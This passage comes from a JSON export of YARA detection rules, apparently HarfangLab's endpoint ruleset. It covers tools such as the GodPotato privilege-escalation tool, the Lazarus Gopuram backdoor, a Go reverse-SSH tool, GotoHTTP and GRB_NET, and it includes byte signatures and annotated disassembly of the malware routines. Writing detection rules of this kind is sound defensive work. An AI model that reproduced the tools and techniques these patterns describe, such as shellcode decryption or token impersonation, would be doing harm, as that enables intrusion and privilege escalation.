+    "https://github.com/BeichenDream/GodPotato\nhttps://twitter.com/SophosXOps/status/1712900190343152010"
+  ],
+  "name": "godpotato.yar",
+  "content": "rule godpotato {\n    meta:\n        title = \"GodPotato HackTool\"\n        id = \"01a4da46-05ec-4ba5-ad50-b46cd3ac2ce8\"\n        description = \"Detects the GodPotato HackTool.\\nGodPotato is a tool designed to escalate privileges to System via DCOM, particularly when the user possesses the \\\"ImpersonatePrivilege\\\" permission. It targets systems by exploiting DCOM communication channels, which can be a common vector for privilege escalation attacks.\"\n        references = \"https://github.com/BeichenDream/GodPotato\\nhttps://twitter.com/SophosXOps/status/1712900190343152010\"\n        date = \"2023-10-16\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.GodPotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3027a212272957298bf4d32505370fa63fb162d6a6a6ec091af9d7626317a858\n        // 56acdd67faeb3b1dd15632102f4cb068acdbdc24e0f78f856824610a8be9ab91\n        // 9a8e9d587b570d4074f1c8317b163aa8d0c566efd88f294d9d85bc7776352a28\n\n        $s1  = \"Cannot find IDL structure\" wide fullword\n        $s2  = \"delegateFun\" wide fullword\n        $s3  = \"D:(A;OICI;GA;;;WD)\" wide fullword\n        $s4  = \"\\\\pipe\\\\epmapper\" wide fullword\n        $s5  = \"IsHook == false\" wide fullword\n        $s6  = \"ncacn_np:localhost/pipe/\" wide fullword\n\n        $s7  = \"[*] CombaseModule: 0x{0:x}\" wide fullword\n        $s8  = \"[*] HookRPC\" wide fullword\n        $s9  = \"[!] Failed to impersonate security context token\" wide fullword\n        $s10 = \"ncacn_ip_tcp:fuck you !\" wide fullword\n        $s11 = \"[*] DCOM obj PublicRefs: 0x{0:x}\" wide fullword\n        $s12 = \"[*] PID : {0} Token:0x{1:x}  User: {2} ImpersonationLevel: {3}\" wide fullword\n\n        $fun = {\n            18                  // ldc.i4.2\n            8D[4]               // newarr    [mscorlib]System.String\n            25                  // dup\n            16                  // ldc.i4.0\n            72[4]               // ldstr     \"ncacn_np:localhost/pipe/\"\n            02                  // ldarg.0\n            7B[4]               // ldfld     class GodPotato.NativeAPI.GodPotatoContext GodPotato.NativeAPI.NewOrcbRPC::godPotatoContext\n            6F[4]               // callvirt  instance string GodPotato.NativeAPI.GodPotatoContext::get_PipeName()\n            72[4]               // ldstr     \"[\\\\pipe\\\\epmapper]\"\n            28[4]               // call      string [mscorlib]System.String::Concat(string, string, string)\n            A2                  // stelem.ref\n            25                  // dup\n            17                  // ldc.i4.1\n            72[4]               // ldstr     \"ncacn_ip_tcp:fuck you !\"\n            A2                  // stelem.ref\n            0A                  // stloc.0\n            19                  // ldc.i4.3\n            0B                  // stloc.1\n            16                  // ldc.i4.0\n            1305                // stloc.s\n            2B16                // br.s\n\n            // loop start (head: IL_0049)\n            07               // ldloc.1\n            06               // ldloc.0\n            1105             // ldloc.s\n            9A               // ldelem.ref\n            6F??0000??       // callvirt  instance int32 [mscorlib]System.String::get_Length()\n            58               // add\n            0B               // stloc.1\n            07               // ldloc.1\n            17               // ldc.i4.1\n            58               // add\n            0B               // stloc.1\n            1105             // ldloc.s\n            17               // ldc.i4.1\n            58               // add\n            1305             // stloc.s\n\n            1105             // ldloc.s\n            06               // ldloc.0\n            8E               // ldlen\n            69               // conv.i4\n            32E3             // blt.s\n            // end loop\n        }\n\n    condition:\n        5 of ($s*) or $fun\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "godpotato"
+  ],
+  "rule_creation_date": "2023-10-16",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.GodPotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gopuram_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583946Z",
+  "creation_date": "2026-03-23T11:46:25.583948Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583954Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+  ],
+  "name": "gopuram_loader.yar",
+  "content": "rule gopuram_loader {\n    meta:\n        title = \"Gopuram Backdoor Loader\"\n        id = \"f675846e-ec26-4a2d-800b-7369de5da496\"\n        description = \"Detects the Gopuram Backdoor Loader, an advanced backdoor developed by Lazarus Group to infiltrate and spy on sensitive organizations.\\nThis backdoor is designed to establish persistence and evade detection by leveraging compromised drivers and system processes. It is modular, enabling it to perform various malicious activities such as data exfiltration and system manipulation.\\nThe loader is often delivered through supply chain attacks and is known for its sophisticated techniques to maintain persistence and avoid detection.\\nIt is recommended to isolate the affected system and conduct a thorough investigation of network communications to identify any potential command and control activities.\"\n        references = \"https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/\"\n        date = \"2023-04-05\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.privilege_escalation;attack.t1055.001;attack.t1055.002;attack.defense_evasion;attack.t1014\"\n        classification = \"Windows.Loader.Gopuram\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 69dd140f45c3fa3aaa64c69f860cd3c74379dec37c46319d7805a29b637d4dbf\n        // bb1066c1ca53139dc5a2c1743339f4e6360d6fe4f2f3261d24fc28a12f3e2ab9\n        // dca33d6dacac0859ec2f3104485720fe2451e21eb06e676f4860ecc73a41e6f9\n\n        $s1 = \"Windows %d(%d)-%s\" fullword ascii\n        $s2 = \"auth_timestamp: \" fullword ascii\n        $s3 = \"auth_signature: \" fullword ascii\n        $s4 = \"rlz=\" fullword ascii\n        $s5 = \"&ei=\" fullword ascii\n        $s6 = \"&act=check\" fullword ascii\n\n        // AES decrypt and virtual alloc\n        $op1 = {\n            48 83 FB 10        // cmp     rbx, 10h\n            48 0F 43 D7        // cmovnb  rdx, rdi\n            48 ?? ?? ?? ??     // lea     rax, [rsp+470h+var_428]\n            48 ?? ?? ?? ??     // mov     [rsp+470h+lpOptional], rax\n            45 8B C7           // mov     r8d, r15d\n            E8 ?? ?? ?? ??     // call    aes_thing\n            41 83 C7 80        // add     r15d, 0FFFFFF80h\n            41 B9 40 00 00 00  // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00  // mov     r8d, 1000h      ; flAllocationType\n            41 8B D7           // mov     edx, r15d       ; dwSize\n            33 C9              // xor     ecx, ecx        ; lpAddress\n            FF                 // call    cs:VirtualAlloc\n        }\n\n        $op2 = {\n            B9 60 EA 00 00     // mov     ecx, 0EA60h     ; dwMilliseconds\n            FF                 // call    cs:Sleep\n        }\n\n    condition:\n        4 of ($s*) and 1 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gopuram_loader"
+  ],
+  "rule_creation_date": "2023-04-05",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.Gopuram"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1014",
+    "attack.t1055.002",
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gopuram_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569428Z",
+  "creation_date": "2026-03-23T11:46:25.569430Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569436Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+  ],
+  "name": "gopuram.yar",
+  "content": "rule gopuram {\n    meta:\n        title = \"Gopuram Backdoor\"\n        id = \"19de3609-56a1-49cb-9e45-3713c8a0a318\"\n        description = \"Detects the Gopuram Backdoor, an advanced backdoor developed by the Lazarus APT to spy on sensitive organizations.\\nThis backdoor is designed to establish persistence and evade detection by leveraging compromised drivers and system processes. It is modular, enabling it to perform various malicious activities such as data exfiltration and system manipulation.\\nThe loader is often delivered through supply chain attacks and is known for its sophisticated techniques to maintain persistence and avoid detection.\\nIt is recommended to isolate the affected system and conduct a thorough investigation of network communications to identify any potential command and control activities.\"\n        references = \"https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/\"\n        date = \"2023-04-05\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.privilege_escalation;attack.t1055.001;attack.t1055.002;attack.defense_evasion;attack.t1014\"\n        classification = \"Windows.Malware.Gopuram\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7\n        // beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c\n\n        $payload_path = \"%s\\\\config\\\\TxR\\\\%s.TxR.0.regtrans-ms\" fullword ascii\n\n        $custom_hash = {\n            D1 E8              // shr     eax, 1\n            33 C3              // xor     eax, ebx\n            D1 EB              // shr     ebx, 1\n            A8 01              // test    al, 1\n            74 ??              // jz      short loc_180022DE6\n            81 F3 25 A3 87 DE  // xor     ebx, 0DE87A325h\n        }\n\n        $decrypt_shellcode_jmp = {\n            85 C0              // test    eax, eax\n            74 ??              // jz      short loc_1800230E1\n            48 8B 4C 24 58     // mov     rcx, [rsp+320h+var_2D0.pbData] ; lpAddress\n            4C 8D 4C 24 44     // lea     r9, [rsp+320h+flOldProtect] ; lpflOldProtect\n            44 8D 43 40        // lea     r8d, [rbx+40h]  ; flNewProtect\n            BA 00 10 00 00     // mov     edx, 1000h      ; dwSize\n            89 5C 24 44        // mov     [rsp+320h+flOldProtect], ebx\n            FF ?? ?? ?? ?? ??  // call    cs:VirtualProtect\n            85 C0              // test    eax, eax\n            74 ??              // jz      short loc_1800230C4\n            FF ?? ?? ??       // call    [rsp+320h+var_2D0.pbData]\n            44 8B 44 24 44     // mov     r8d, [rsp+320h+flOldProtect] ; flNewProtect\n            48 8B 4C 24 58     // mov     rcx, [rsp+320h+var_2D0.pbData] ; lpAddress\n            4C 8D 4C 24 44     // lea     r9, [rsp+320h+flOldProtect] ; lpflOldProtect\n            BA 00 10 00 00     // mov     edx, 1000h      ; dwSize\n            FF ?? ?? ?? ?? ??  // call    cs:VirtualProtect\n        }\n\n    condition:\n        $payload_path and #custom_hash > 4 and #decrypt_shellcode_jmp\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gopuram"
+  ],
+  "rule_creation_date": "2023-04-05",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Gopuram"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1014",
+    "attack.t1055.002",
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-go_reverse_ssh_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572839Z",
+  "creation_date": "2026-03-23T11:46:25.572842Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572847Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/NHAS/reverse_ssh\nhttps://research.aurainfosec.io/pentest/rssh/"
+  ],
+  "name": "go_reverse_ssh.yar",
+  "content": "rule reverse_ssh_go {\n    meta:\n        title = \"Golang Reverse SSH\"\n        id = \"c3cf686c-f1c6-4e95-8e2c-4b18d2056f55\"\n        description = \"Detects the NHAS reverse SSH written in Go.\\nThis tool uses reverse SSH connections to manage controlled machines.\\nAttackers can bypass common network level restrictions by initiating a connection back to an attacker controlled host.\\nIt is recommended to verify if the usage of this tool is legitimate.\"\n        references = \"https://github.com/NHAS/reverse_ssh\\nhttps://research.aurainfosec.io/pentest/rssh/\"\n        date = \"2024-09-25\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1573.001\"\n        classification = \"HackTool.GolangReverseSSH\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 84114aec0d38f79dd7657168766292ab957c4cbe4b69cfe5afc62ba88ebac34b\n        // d611e8ac73e1010b3446ea22b2fdd8e184ca31671f4da5d308e183e742cfd61a\n        // 262591fad9cad6b2adec59110fa396b2eebdc8aa6caa47b1ed45f7e3468b3216\n        // ebb5e96b4c084d874b7baac383380cb841b6de4dda4d9390a838d87df7eae4be\n\n        $s_strings = \"perunanxtrsshhelptruefilereadopenpipelinkStat\"\n        $s_repo = \"github.com/NHAS/reverse_ssh\" wide ascii\n        $s_gobuild = \"Go buildinf:\" wide ascii fullword\n\n    condition:\n        $s_gobuild and ($s_repo or $s_strings)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "reverse_ssh_go"
+  ],
+  "rule_creation_date": "2024-09-25",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.GolangReverseSSH"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gotohttp_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573832Z",
+  "creation_date": "2026-03-23T11:46:25.573834Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573840Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\nhttps://www.elastic.co/security-labs/tollbooth\nhttps://asec.ahnlab.com/en/83283/"
+  ],
+  "name": "gotohttp.yar",
+  "content": "rule gotohttp {\n    meta:\n        title = \"GotoHTTP Tool\"\n        id = \"d3e89a26-1f94-4eb8-8df1-f7135dabe3ce\"\n        description = \"Detects GotoHTTP, a remote monitoring and management (RMM) tool.\\nGotoHTTP is a component often utilized for remote execution and lateral movement within a system.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate in your infrastructure.\"\n        references = \"https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/\\nhttps://www.elastic.co/security-labs/tollbooth\\nhttps://asec.ahnlab.com/en/83283/\"\n        date = \"2025-10-24\"\n        modified = \"2025-11-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.lateral_movement;attack.t1021;attack.execution;attack.command_and_control;attack.t1071.001\"\n        classification = \"Tool.GotoHTTP\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n\n        // Detection for these samples:\n        // 230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9\n        // ff6dc53044f7d0c71292b23ac2718b16f1d6fd34b465d1db1febe64e46362c5f\n        // e9211412ea7f4713a256d6f480367c43073e521d7a938e8d2ec8d104e56f1e1f\n\n        $str_01 = \"gotohttp.ck\"\n        $str_02 = \"gotohttp.ini\"\n        $str_03 = \"gotohttp.tmp\"\n        $str_04 = \".\\\\GotoHttp.cpp\"\n        $str_05 = \"GOTOHTTP_PROXY\"\n        $str_06 = \"GotoHTTP_%s.%s\"\n        $str_07 = \"\\\\\\\\.\\\\pipe\\\\gotohttp%u\"\n        $str_08 = \"SM_GotoHTTP_x64\" wide\n        $str_09 = \"GotoHTTP Message\" wide\n        $str_10 = \"Global\\\\GotoHTTP_%u\" wide\n        $str_11 = \"TTXN GotoHTTP Agent\" wide\n        $str_12 = \"\\\\gotohttp\\\\TProcess.h\"\n        $str_13 = \"\\\\gotohttp\\\\TShareApe.h\"\n        $str_14 = \"Created by GotoHTTP\"\n        $str_15 = \"TTXN GotoHTTP agent client.\" wide\n        $str_16 = \"Applications/GotoHTTP.app/Contents/MacOS/GotoHTTP\"\n        $str_17 = \"GotoHTTP_Mac\"\n        $str_18 = \"_gotohttp_config_changed\"\n        $str_19 = \"_gotohttp_debug_config\"\n        $str_20 = \"GotoHTTP/gotoapp.h\"\n        $str_21 = \"GotoHTTP.build/Objects-normal\"\n        $str_22 = \"Resources/com.pingbo.gotohttp.plist\"\n        $str_23 = \"../GotoHTTP/TConference.cpp\"\n        $str_24 = \"../GotoHTTP/TShareApe.cpp\"\n        $str_25 = \"../GotoHTTP/TShareCapture.cpp\"\n        $str_26 = \"../GotoHTTP/TShareApePng.cpp\"\n        $str_27 = \"../GotoHTTP/TInput.cpp\"\n        $str_28 = \"../GotoHTTP/TLinuxUtil.cpp\"\n        $str_29 = \"../GotoHTTP/TDataSync.cpp\"\n        $str_30 = \"gotohttp0\"\n        $str_31 = \"gotohttp0Y0\"\n        $str_32 = \"gotohttp_ft_temp.zip\"\n        $str_33 = \"/etc/systemd/system/gotohttp.service\"\n        $str_34 = \"/usr/lib/systemd/system/gotohttp.service\"\n        $str_35 = \"Usage: gotohttp [-p access code] [-f 0|1] [-?]\"\n\n    condition:\n        10 of ($str*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "gotohttp"
+  ],
+  "rule_creation_date": "2025-10-24",
+  "rule_modified_date": "2025-11-20",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Tool.GotoHTTP"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1021"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-grb_net_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581448Z",
+  "creation_date": "2026-03-23T11:46:25.581450Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581456Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy\nhttps://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/"
+  ],
+  "name": "grb_net.yar",
+  "content": "import \"pe\"\n\nrule grb_net {\n    meta:\n        title = \"GRB_NET Hacktool\"\n        id = \"09d8a5d7-f94a-4cf1-b834-2d88ba3aec8d\"\n        description = \"Detects GRB_NET, also named Grixba, a network-scanning tool used by ransomware groups.\\nThis tool can enumerate software and services on remote hosts via WMI, WinRM, remote registry and remote services. It can also clear event logs.\"\n        references = \"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy\\nhttps://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/\"\n        date = \"2023-10-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1070.001;attack.discovery;attack.t1046\"\n        classification = \"Windows.HackTool.GRB_NET\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 453257c3494addafb39cb6815862403e827947a1e7737eb8168cd10522465deb\n\n        // some encrypted strings\n        $s1 = {\n            AE E8 B0 E3 B2 F1 B4 EA B6 F9 B8 FC BA EF BC 9D\n            BE E9 C0 A4 C2 B1 C4 B6 C6 AE C8 A6 CA A5 CC F7\n            CE EF D0 85 D2 B6 D4 A6 D6 A3 D8 F7 DA FB DC EA\n        }\n\n        $s2 = {\n            AE FB B0 C8 B2 C3 B4 D0 B6 97 B8 CD BA C2 BC CD\n            BE DA C0 E1 C2 EE C4 AD C6 E7 C8 AF CA A4 CC BF\n            CE EF D0 B9 D2 B6 D4 B9 D6 A7\n        }\n\n        $s3 = {\n            AE F4 B0 9A B2 EE B4 95 B6 E5 B8 D8 BA D5 BC DA\n            BE DA C0 E1 C2 A0 C4 AA C6 B2 C8 A7 CA BF CC F7\n            CE EF\n        }\n\n        $decrypt_string = {\n            02                  // ldarg.0\n            6F[4]               // callvirt  instance char[] [mscorlib]System.String::ToCharArray()\n            0A                  // stloc.0\n            20E343022B          // ldc.i4\n            03                  // ldarg.1\n            58                  // add\n            2057000000          // ldc.i4\n            D3                  // conv.i\n            58                  // add\n            2063000000          // ldc.i4\n            D3                  // conv.i\n            58                  // add\n            0B                  // stloc.1\n            16                  // ldc.i4.0\n            25                  // dup\n            17                  // ldc.i4.1\n            3233                // blt.s\n\n            25                  // dup\n            0C                  // stloc.2\n            06                  // ldloc.0\n            08                  // ldloc.2\n            06                  // ldloc.0\n            08                  // ldloc.2\n            92                  // ldelem.i2\n            25                  // dup\n            20FF000000          // ldc.i4\n            5F                  // and\n            07                  // ldloc.1\n            25                  // dup\n            17                  // ldc.i4.1\n            58                  // add\n            0B                  // stloc.1\n            61                  // xor\n            D2                  // conv.u1\n            0D                  // stloc.3\n            25                  // dup\n            1E                  // ldc.i4.8\n            63                  // shr\n            07                  // ldloc.1\n            25                  // dup\n            17                  // ldc.i4.1\n            58                  // add\n            0B                  // stloc.1\n            61                  // xor\n            D2                  // conv.u1\n            1304                // stloc.s\n            26                  // pop\n            1104                // ldloc.s\n            09                  // ldloc.3\n            1304                // stloc.s\n            0D                  // stloc.3\n            1104                // ldloc.s\n            1E                  // ldc.i4.8\n            62                  // shl\n            09                  // ldloc.3\n            60                  // or\n            D1                  // conv.u2\n            9D                  // stelem.i2\n            17                  // ldc.i4.1\n            58                  // add\n            25                  // dup\n            06                  // ldloc.0\n            8E                  // ldlen\n            69                  // conv.i4\n            32C7                // blt.s\n        }\n\n    condition:\n        2 of ($s*) or\n        $decrypt_string or\n        pe.version_info[\"OriginalFilename\"] contains \"GRB_NET.exe\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "grb_net"
+  ],
+  "rule_creation_date": "2023-10-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.GRB_NET"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1070.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gsecdump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584508Z",
+  "creation_date": "2026-03-23T11:46:25.584510Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584516Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
